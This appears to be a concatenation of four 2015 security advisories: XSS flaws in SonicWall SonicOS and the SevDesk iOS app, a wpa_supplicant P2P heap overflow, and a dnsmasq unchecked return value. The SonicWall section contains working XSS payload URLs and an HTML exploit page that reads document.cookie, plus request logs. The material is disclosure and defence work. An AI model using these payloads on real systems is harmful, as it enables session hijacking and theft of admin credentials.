Document Title:
===============
SonicWall SonicOS 7.5.0.12 & 6.x - Cross Site Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1359


Release Date:
=============
2015-04-23


Vulnerability Laboratory ID (VL-ID):
====================================
1359


Common Vulnerability Scoring System:
====================================
3


Product & Service Introduction:
===============================
The proven SonicOS architecture is at the core of every Dell™ SonicWALL™ firewall from the SuperMassive™ E10800 to the TZ 100. 
SonicOS uses deep packet inspection technology in combination with multi-core specialized security microprocessors to deliver 
application intelligence, control, and real-time visualization, intrusion prevention, high-speed virtual private networking (VPN) 
technology and other robust security features.

(Copy of the Vendor Homepage: http://www.sonicwall.com/us/en/products/Network-Security-Platform.html )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a cross site vulnerability in the official SonicWall SonicOS v6.x and v7.5.0.12.


Vulnerability Disclosure Timeline:
==================================
2015-04-23: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
DELL
Product: Sonicwall SonicOS 7.5.0.12 & v6.x


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side cross site scripting web vulnerabilities has been discovered in the official SonicWall SonicOS v6.x and v7.5.0.12.
The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise session information.

The vulnerability is located in the `searchSpoof and searchSpoofIpDet` values of the `Network > MAC-IP Anti-spoof` module. Remote attackers are able to 
inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted weblinks to execute client-side 
script code that compromises the sonicos application user/admin session data. The execution of the script code occurs in the mac-ip anti spoof module.
The attack vector of the vulnerability is located on the client-side of the online-service and the request method to inject or execute the code is GET.

The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0.
Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load 
of malicious script codes or non-persistent web module context manipulation.

Request Method(s):
    [+] GET

Vulnerable Module(s):
    [+] Network > MAC-IP Anti-spoof

Vulnerable File(s):
    [+] macIpSpoofView.html

Vulnerable Parameter(s):
    [+] searchSpoof
    [+] searchSpoofIpDet


During the client security tests the research team noticed that the official vm version and the all appliance models are affected by the security issue. 
The following versions and models of the sonicwall appliance web-application are affected by the remote cross site scripting vulnerability.

Affected Model(s):
    [+] (CASS) Anti Spam - UTM Integrated Anti-Spam
    [+] (CASS) Anti Spam - Enhanced Comprehensive Anti-spam
    [+] (CASS) Anti Spam - Email Security

Affected Version(s):
    [+] SonicOS v7.5.0.12
    [+] SonicOS v6.x


Proof of Concept (PoC):
=======================
The client-side cross site scripting vulnerability can be exploited by remote attackers without privileged application user account and 
with low or medium user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information 
and steps below to continue.


PoC: Payload(s)
https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3Ciframe%20src=http://www.vulnerability-lab.com onload=alert("PENTEST")%20<&searchSpoofIpDet=[x]

https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=[x]
&searchSpoofIpDet=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22PENTEST%22%29%20 


PoC: Exploit

<html>
<head><body>
<title>Sonicwall AntiSpam "SonicOS Enhanced 5.9.0.7" - (searchSpoof & searchSpoofIpDet) Cross Site Scripting PoC</title>
<iframe src=https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3Ciframe src=http://www.vulnerability-lab.com onload=alert("PENTEST")%20<&searchSpoofIpDet=[x]>
<br>
<img src=https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=[x]
&searchSpoofIpDet=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22PENTEST%22%29%20>
<br>
<iframe src=https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3Cimg src=http://www.vulnerability-lab.com/files/ptest.png onload=alert(document.cookie)%20<&searchSpoofIpDet=%22%3E%3Cimg 
src=http://www.vulnerability-lab.com/files/ptest.png onload=alert(document.cookie)%20<
</body></head>
</html>

Note: Exploiting a Cross Site Scripting Vulnerability in the searchSpoof value of the macIpSpoofView.html file.



PoC: Vulnerable Source

<td class="listLabel" align="left" nowrap="" width="15%">
<span class="objItemSpacing">
<input title="" name="capCbox" onclick="checkAllSpoofIp(this);" onfocus="if (this.disabled) { this.blur(); }" type="checkbox">
</span>
<span class="listLabel" align="left" nowrap="">
<script type="text/JavaScript">
<!--
      setSpoofIpColHead(1, 'IP Address');
     // -->
</script><a class="tableLink" href="/macIpSpoofView.html?tableSortCol=1&tableSortInverted=0&
searchSpoof="><[CLIENT-SIDE SCRIPT CODE EXECUTION!];)" &searchspoofipdet="&startItem=0&startItemIpDet=0"">IP Address</a>
</span>
</td>
<td class="listLabel" align="left" width="10%" nowrap>
<script type="text/JavaScript">
<!--
     setSpoofIpColHead(2, 'Type');
    // -->
</script>
</td>
<td class="listLabel" align="left" width="10%" nowrap>
<script type="text/JavaScript">
<!--
     setSpoofIpColHead(3, 'Interface');
    // -->
</script>
</td>
<td class="listLabel" align="left" width="15%" nowrap>
<script type="text/JavaScript">
<!--
     setSpoofIpColHead(4, 'MAC Address');
    // -->
</script>
</td>
<td class="listLabel" align="left" width="20%" nowrap>
<script type="text/JavaScript">
<!--
     setSpoofIpColHead(5, 'Host Name');
    // -->
</script>



--- PoC Session Logs [GET] ---
Status: 200[OK] 

GET https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3C[CLIENT-SIDE SCRIPT CODE INJECTION!]&searchSpoofIpDet= Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[cas.127.0.0.1:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://cas.127.0.0.1:8080/macIpSpoofView.html]
      Cookie[__utma=227649090.564465250.1416863624.1416863624.1416865480.2; __utmc=227649090; __utmz=227649090.1416863624.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=227649090.|1=User%3AUnkown=Unknown=1; referreringDomain=; SonicwallReferreringDomain=70160000000jxw7; _ga=GA1.2.564465250.1416863624; s_fid=23E57A7F416D34BD-3112FD9D33A8F2CA; s_cc=true; mbox=check#true#1416865554|session#1416865493280-142580#1416867354|PC#1416865493280-142580.26_06#1418075095; s_nr=1416865503646; s_getval=backlink; s_ppv=marketing.sonicwall.com%2Fregister%2F69295; s_sq=%5B%5BB%5D%5D; s_c49=c%3Dus%26l%3Den%26s%3Dcorp; cidlid=%3A%3A; s_channelstack=%5B%5B'Referrers'%2C'1416865503950'%5D%5D; sessionTime=2014%2C10%2C24%2C22%2C45%2C3%2C950; s_hwp=null%7C%7Cnull%7C%7C24%3A11%3A2014%3A22%3A45%7C%7CN%7C%7CN%7C%7Cnull%7C%7C0%7C%7Cnull%7C%7Cnull%7C%7CN%7C%7Cnull%7C%7Cnull%7C%7Cnull; s_sv_sid=75828994935; s_sv_112_p1=1@11@s/15062&e/2; s_sv_112_s1=1@16@a//1416865504579; curUrl=macIpSpoofView.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 1004=1; 1000=9; 777=1]
      Connection[keep-alive]
   Response Header:
      Server[SonicWALL]
      Expires[-1]
      Cache-Control[no-cache]
      Content-Type[text/html; charset=UTF-8;]



-
Status: 200[OK] 

GET https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=&searchSpoofIpDet=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22PENTEST%22%29%20 Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[cass240.demo.sonicwall.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://cass240.demo.sonicwall.com/macIpSpoofView.html]
      Cookie[__utma=227649090.564465250.1416863624.1416865480.1417100584.3; __utmc=227649090; __utmz=227649090.1416863624.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=227649090.|1=User%3AUnkown=Unknown=1; referreringDomain=; SonicwallReferreringDomain=70160000000jxw7; _ga=GA1.2.564465250.1416863624; s_fid=23E57A7F416D34BD-3112FD9D33A8F2CA; s_cc=true; mbox=check#true#1416865554|session#1416865493280-142580#1416867354|PC#1416865493280-142580.26_06#1418075095; s_nr=1416865503646; s_getval=backlink; s_ppv=marketing.sonicwall.com%2Fregister%2F69295; s_sq=%5B%5BB%5D%5D; s_c49=c%3Dus%26l%3Den%26s%3Dcorp; cidlid=%3A%3A; s_channelstack=%5B%5B'Referrers'%2C'1416865503950'%5D%5D; sessionTime=2014%2C10%2C24%2C22%2C45%2C3%2C950; s_hwp=null%7C%7Cnull%7C%7C24%3A11%3A2014%3A22%3A45%7C%7CN%7C%7CN%7C%7Cnull%7C%7C0%7C%7Cnull%7C%7Cnull%7C%7CN%7C%7Cnull%7C%7Cnull%7C%7Cnull; s_sv_sid=75828994935; s_sv_112_p1=1@11@s/15062&e/2; s_sv_112_s1=1@16@a//1416865504579; curUrl=macIpSpoofView.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 1004=1; 1000=9; 777=1; __utmb=227649090.2.10.1417100584; __utmt=1; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[SonicWALL]
      Expires[-1]
      Cache-Control[no-cache]
      Content-Type[text/html; charset=UTF-8;]



-
Status: 200[OK] 
GET https://cas.127.0.0.1:8080/[CLIENT-SIDE SCRIPT CODE EXECUTION!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[cas.127.0.0.1:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://cas.127.0.0.1:8080/macIpSpoofView.html?
mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3C[CLIENT-SIDE SCRIPT CODE INJECTION!]&searchSpoofIpDet=]

Cookie[__utma=227649090.564465250.1416863624.1416863624.1416865480.2; __utmc=227649090; __utmz=227649090.1416863624.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__utmv=227649090.|1=User%3AUnkown=Unknown=1; referreringDomain=; SonicwallReferreringDomain=70160000000jxw7; _ga=GA1.2.564465250.1416863624; s_fid=23E57A7F416D34BD-3112FD9D33A8F2CA; 
s_cc=true; mbox=check#true#1416865554|session#1416865493280-142580#1416867354|PC#1416865493280-142580.26_06#1418075095; s_nr=1416865503646; s_getval=backlink; 
s_ppv=marketing.sonicwall.com%2Fregister%2F69295; s_sq=%5B%5BB%5D%5D; s_c49=c%3Dus%26l%3Den%26s%3Dcorp; cidlid=%3A%3A; s_channelstack=%5B%5B'Referrers'%2C'1416865503950'%5D%5D; 
sessionTime=2014%2C10%2C24%2C22%2C45%2C3%2C950; s_hwp=null%7C%7Cnull%7C%7C24%3A11%3A2014%3A22%3A45%7C%7CN%7C%7CN%7C%7Cnull%7C%7C0%7C%7Cnull%7C%7Cnull%7C%7CN%7C%7Cnull%7C%7Cnull%7C%7Cnull; 
s_sv_sid=75828994935; s_sv_112_p1=1@11@s/15062&e/2; s_sv_112_s1=1@16@a//1416865504579; curUrl=macIpSpoofView.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 1004=1; 1000=9; 777=1]
      Connection[keep-alive]
   Response Header:
      Server[SonicWALL]
      Expires[-1]
      Cache-Control[no-cache]
      Content-Type[text/html;charset=UTF-8]


Reference(s):
https://cas.127.0.0.1:8080/
https://cas.127.0.0.1:8080/macIpSpoofView.html
https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable searchSpoof and searchSpoofIpDet parameters.
Restrict the input of the values and encode the output context of the macipspoofview.html to prevent client-side or application-side script code injection attacks.


Security Risk:
==============
The security risk of the cross site scripting web vulnerability in the macipspoofview.html file is estimated as medium. (CVSS 3.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com    - www.vuln-lab.com            - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com  - research@vulnerability-lab.com           - admin@evolution-sec.com
Section:    magazine.vulnerability-db.com - vulnerability-lab.com/contact.php          - evolution-sec.com/contact
Social:     twitter.com/#!/vuln_lab   - facebook.com/VulnerabilityLab           - youtube.com/user/vulnerability0lab
Feeds:     vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php     - vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php   - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

    Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™

Document Title:
===============
SevDesk v1.1 iOS - Persistent Dashboard Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1311


Release Date:
=============
2015-04-23


Vulnerability Laboratory ID (VL-ID):
====================================
1311


Common Vulnerability Scoring System:
====================================
4.2


Product & Service Introduction:
===============================
Official app for mobile use of sevDesk. A product of SEVENIT GmbH. 

Daily Backup
256bit SSL encryption
TÜV certified data center

Free version
No hidden costs
No minimum contract term

iPhone App
Runs in any browser
No installation required on the PC

Easy to use
Reduced to the essentials
Automated, where it is only possible

(Copy of the Vendor Homepage: https://sevdesk.de/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official SEVENIT GmbH SevDesk mobile application (api).


Vulnerability Disclosure Timeline:
==================================
2014-09-01: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-09-02: Vendor Notification (SevDesk Developer Team)
2015-04-23: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
SevenIT
Product: SevDesk - iOS Mobile Web Application (API) 1.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official SEVENIT Software GmbH sevDesk v1.1 iOS mobile web-application (api).
The vulnerability allows remote attackers or low privileged user account to inject own malicious script codes to the application-side of the vulnerable 
web-application module or service.

The security vulnerability is located in the `firstname` values of the main sevDesk `Dasboard` application module & api. Remote attackers are able to inject 
own script codes to the mobile dashboard through the api by manipulation of the registration information in the client.

The execution of the script code occurs after the inject on the application-side in the main mobile dashboard status list. If the test user account apply for 
any changes in the account profile the activity becomes visible. In the context were the information and details becomes visible is the location were the 
execution of the persistent injected script code takes place. The attack vector is persistent and the request method to inject the code is POST. 

The security risk of the persistent script code inject web vulnerability is estimated as meidum with a cvss (common vulnerability scoring system) count of 4.2. 
Exploitation of the persistent input validation web vulnerability requires a low privileged sevdesk user account with restricted access and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects to malicious source and persistent 
manipulation of affected or connected application modules (api).

Request Method(s):
    [+] POST

Vulnerable Application(s):
    [+] sevDesk v1.1 iOS

Vulnerable Module(s):
    [+] Registration to SevDesk

Vulnerable Parameter(s):
    [+] firstname (display name)

Affected Module(s):
    [+] Dasboard Index Status List


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

1. Install the application to your iOS device (ipad iphone)
2. Register an new account 
3. Include as name value your own malicious script code payload
4. Save the settings and open the Dasboard status listing
Note: After the save the context gets discplayed by the mobile app api through the web database
5. The script code execution occurs in the main status messages
6. Successful reproduce of the security vulnerability in the mobile iOS application!


Picture(s):
   ../1.png
   ../2.png
   ../3.png


Solution - Fix & Patch:
=======================
The issue can be patched by a secure parse and encode of the user credentials on registration through the mobile application api.
Restrict the user input to register and parse also the status listing in the main dasboard which becomes visible after the malicious changes.


Security Risk:
==============
The security risk of the persistent mobile web vulnerability in the api is estimated as medium. (CVSS 4.2)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com    - www.vuln-lab.com            - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com  - research@vulnerability-lab.com           - admin@evolution-sec.com
Section:    magazine.vulnerability-db.com - vulnerability-lab.com/contact.php          - evolution-sec.com/contact
Social:     twitter.com/#!/vuln_lab   - facebook.com/VulnerabilityLab           - youtube.com/user/vulnerability0lab
Feeds:     vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php     - vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php   - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

    Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™

1. Advisory Information
Advisory URL: http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.p1ECc3&id=19
Date published: 2015-04-23
Date of last update: 2015-04-23

2. Vulnerability Information
Class: heap overflow
Impact: memory information leak and remote code execution
Remote Exploitable: Yes
Local Exploitable: No
CVE Name: CVE-2015-1863
Vulnerability Information and Patch: http://w1.fi/security/2015-1/

3. Vulnerability Description
　　In Android, wpa_supplicant is designed to be a "daemon" program that runs in the background and acts as the backend 
component controlling the wireless connection.. When WLAN Direct function of wpa_supplicant is enabled, a malformed p2p 
invitation type packet with long ssid can trigger a heap overflow vulnerability. An attacker could launch a remote 
attack in the wireless device signal coverage, access to the victim's android device and execute native code with the 
corresponding user privileges (in the android is wifi user). The user has permission to read the saved WIFI password, 
change network configuration, hijacking all Wi-Fi traffic. When combined with a local privilege escalation 
vulnerability that allows an attacker to remotely control a host of victims, implant Trojans and other underlying 
implant systems.
4. Vulnerable Packages
 Android 4/Android 5
 wpa_supplicant 2.x
5. Credits
Smart hardware research group of Alibaba security team for discovering the vulnerability.
6. Technical Description
 wpa_supplicant malloc a p2p_device structure, the oper_ssid field size of which is 0x20 bytes. In the p2p invitation 
packet the size of ssid field is described with an octet, the max of which is 0xff. When copy to oper_ssid field, the 
length is not checked. When the size of ssid exceeds 0x20 bytes, it can overflow other fields of the p2p_device 
structure and overflow heap structure when exceeds 0x40 bytes.
    In the android version 5.1, the source is:
============ p2p_device structure（ wpa_supplicant/p2p/p2p_i.h)============
struct p2p_device {
    [……….]
    int oper_freq;
    u8 oper_ssid[32];  <----- fixed 0x20 bytes 
    size_t oper_ssid_len;
       [……….]
    /**
    * go_neg_conf - GO Negotiation Confirmation frame
    */
    struct wpabuf *go_neg_conf;
    int sd_pending_bcast_queries;
};
=========（wpa_supplicant/p2p/p2p.c p2p_add_device ==============
int p2p_add_device(struct p2p_data *p2p, const u8 *addr, int freq,
          struct os_reltime *rx_time, int level, const u8 *ies,
          size_t ies_len, int scan_res)
{
    [……….]
    if (os_memcmp(addr, p2p_dev_addr, ETH_ALEN) != 0)
       os_memcpy(dev->interface_addr, addr, ETH_ALEN);
    if (msg.ssid &&
        (msg.ssid[1] != P2P_WILDCARD_SSID_LEN ||
         os_memcmp(msg.ssid + 2, P2P_WILDCARD_SSID, P2P_WILDCARD_SSID_LEN)
         != 0)) {
        os_memcpy(dev->oper_ssid, msg.ssid + 2, msg.ssid[1]);
//the dest buf is 0x20, but the size is controlled by user input, trigger buffer overflow 
       dev->oper_ssid_len = msg.ssid[1];
    }
[……….]
7. Vulnerability Impact Assessment：
    1）Affected product：Affect all devices of android version below 5.1 
    2）Default configuration exploitable analysis：Although much of android devices enable WLAN direct when user enters 
WLAN Direct UI, but: 
    We found some models of well-known mobile phone manufacturers (such as Xiaomi, Huawei), default to open the WLAN 
Direct. Even if the user 
never entered the WLAN Direct UI, the attacker can initiate a WLAN direct connection and trigger this vulnerability 
without user interaction. However, 
an attacker needs to know WLAN Direct MAC address, the address is the MAC address of user equipment with first byte OR 
2, MAC address of the user 
equipment can acquire easily by WIFI packet sniffer, so you can calculate WLAN Direct MAC address, for example the user 
device MAC address 14: 12: 34: 56: 78: 90, 
then WLAN Direct MAC address is 16:12 : 34: 56: 78: 90, which means that some models of mobile phone, simply open the 
WIFI service, can suffer from the vulnerability attack.
　　For other models without WLAN Direct default enabled need to pay attention, because a lot of file transfer software 
use WLAN Direct feature and will enable it. 
And this feature once enabled, even if the user exits the WLAN Direct UI, the feature is enabled until the device 
reboot or WIFI restart. During this time the device is affected and can be attack remotely.
    3）Impact
    This vulnerability can leak information, use leaked information with ROP to bypass ASLR and DEP. Exploit this 
vulnerability successfully, attackers can execute
 native code with wifi user permission. Then with wifi user permission can change wifi configuration and hijack network 
traffic. 
    And this vulnerability can be exploited remotely, if composite a local privilege escalation vulnerability, 
attackers can implant trojan without physically touch victim devices. 
  So this vulnerability is high risk, especially for wlan direct enabled default devices. 
8. Poc and Coredump 
    See Advisory URL: http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.p1ECc3&id=19
9. Report Timeline
 2015-4-3：send vulnerability report to android security team
 2015-4-8：android security team acknowledges the vulnerability and forward it to wpa_supplicant maintainer
 2015-4-8：wpa_supplicant maintainer acknowledges
 2015-4-13：wpa_supplicant maintainer acknowledges timeline for release a fix
 2015-4-22：wpa_supplicant maintainer publish the fix and security advisory
 2015-4-23：The advisory is published

Dnsmasq provides network infrastructure for small networks: DNS, DHCP, router advertisementand network boot.(Source: http://www.thekelleys.org.uk/dnsmasq/doc.html) 

"Dnsmasq 2.72 Unchecked returned value"

Description
------------------------------------------------------------
Dnsmasq does not properly check the return value of the setup_reply()
function called during a tcp connection (by the tcp_request() function).
This return value is then used as a size argument in a function which writes
data on the client's connection.  This may lead, upon successful
exploitation, to reading the heap memory of dnsmasq.

In more detail:
Function tcp_request() calls setup_reply() and the returned value is used as
a size argument in a write function.

m = setup_reply(header, (unsigned int)size, addrp, flags,
daemon->local_ttl);
read_write(confd, packet, m + sizeof(u16), 0));

The m variable is determined by a subtraction between the
return of  skip_questions() and header pointer.
The return value of skip_question doesn't checked for error(NULL).
As a result the negative value of pointer(-header), might returned.

size_t setup_reply(struct dns_header *header, size_t qlen,
struct all_addr *addrp, unsigned int flags, unsigned long ttl)
{
       unsigned char *p = skip_questions(header, qlen)
       return p - (unsigned char *)header
}

read_write checks if the size argument is positive. In case of a 32 bit
system
size_t m would be 4 bytes and read_write will automatically exit. In case of
64
bit system size_t m is 8 bytes and may turn to positive if the sign bit of
the
32 bit value is 0.

If m is less than 0xffffffff80000000, dnsmasq will be exploited by a
potential attacker who will remotely read dnsmasq heap. If the above
condition is not met, dnsmasq exits properly.

Researcher
------------------------------------------------------------
Nick Sampanis (n.sampanis[a t]obrela[do t]com)


Vulnerability
------------------------------------------------------------
Unchecked return value CVE-2015-3294

Identification date:
------------------------------------------------------------
07/04/2015 - 09/04/2015

Solution - fix & patch
------------------------------------------------------------
Please download dnsmasq-2.73rc4.tar.gz

Reference:
------------------------------------------------------------
http://lists.thekelleys.org.uk/pipermail/dnsmasq-discuss/2015q2/009382.html
https://www.obrela.com/home/security-labs/advisories/osi-advisory-osi-1502/